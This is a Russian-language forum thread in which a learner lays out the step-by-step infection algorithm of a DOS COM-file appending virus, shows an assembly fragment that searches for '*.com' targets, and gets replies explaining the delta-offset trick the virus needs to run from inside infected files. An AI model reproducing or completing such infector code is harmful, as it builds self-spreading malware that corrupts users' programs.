Всем добрый день. Что-то делаю не так, но не знаю что. Исходные данные: в процессе обучения захотел написать простой com-вирус по собственному алгоритму, а именно собирая новый файл не в сегменте видеопамяти (и тем более не в новом сегменте), а поэтапно перебрасывая кусочки кода в память позади программы. Алгоритм: 1. Заражённая программа запускается, в первых трёх байтах передаётся управление вирусу в хвосте. 2. Вирус восстанавливает первые три оригинальные байта программы. 3. Производит действия: 3.1. Ищет файлы по маске. 3.2. Выделяет область DTA в памяти позади файла. 3.3. За областью DTA в памяти загружает тело неинфицированного файла. 3.4. Первые три байта неинфицированного файла переносит в его хвост. 3.5. Заменяет первые три байта на конструкцию jmp xx, где xx - адрес начала вируса. 3.6. Копирует вирус после тела новой программы и сохранённых трёх байт (в нашей памяти это уже 100h + тело исходного файла + DTA + тело нового файла + 3 первых байта + тело вируса). 3.7. Сохраняет прочитанный файл с новой длиной. 3.8. Передаёт управление на адрес 100h, где три байта уже восстановлены. При отладке уже заражённой программы возникает проблема. Внутри нового файла прекрасно работают вызовы подпрограмм (хотя они-то находятся уже по новому адресу), но не работают конструкции типа Код (Text): mov dx,offset File_name И вообще метки - например File_name equ $ А именно в конструкции Код (Text): Find_first proc ;Подпрограмма поиска первого файла. mov ah,4Eh ;Ищем первый файл по маске (функция 4Eh). xor cx,cx ;Атрибуты обычные. Смотрим, что в CX. mov dx,offset File_name ;Адрес маски в DS:DX int 21h ;В DTA заносится имя найденного файла. ret File_name db '*.com',0 ;Маска файла для заражения. Find_first endp сбивается адрес маски File_name db '*.com',0 на неопределённую длину. И на месте, например, маски файла, уже находится мусор. Понятно, что адресация в новом файле другая, но вызовы подпрограмм-то работают нормально. Полный код здесь не привожу, так как у меня отдельно написан вирус и отдельно программа-носитель, внедряющая его в заранее известный файл (и известные первые три байта). Не потому, что люблю сложности, а так исторически сложилось. Что делаю не так?
дык вирус-то в хвосте? А хвост - штука непредсказуемая, то длиннее, то короче. Надо делать как-то так: Код (Text): call $+3 ;то есть переход на следующую команду с убиранием текущего адреса в стек (сохранится адрес команды pop dx) pop dx ;извлекаем его add dx, 7 ;и добавляем 7 байт - длина нашего всего от pop dx до ret, включительно int 21h ;в dx - правильный адрес строки ret db '*.com',0 Как я вычислил 7 байт? по машкодам. По хорошему, надо вычислять путем операций с $ и именами меток и строк - но суть должна быть понятна.
Это объясняется просто - инструкции вызова подпрограмм используют не абсолютный адрес, а адрес относительно текущего IP. А инструкции типа mov dx, offset File_name используют абсолютный адрес (внутри сегмента). Поэтому нужно либо корректировать адреса как в примере FatMoon, либо менять сегмент на время работы вируса.
Огромное спасибо! Это я и предчувствовал... Жаль только, что все метки придётся таким образом рассчитывать. Насчёт сегмента как раз понятно, но мы не ищем лёгких путей... )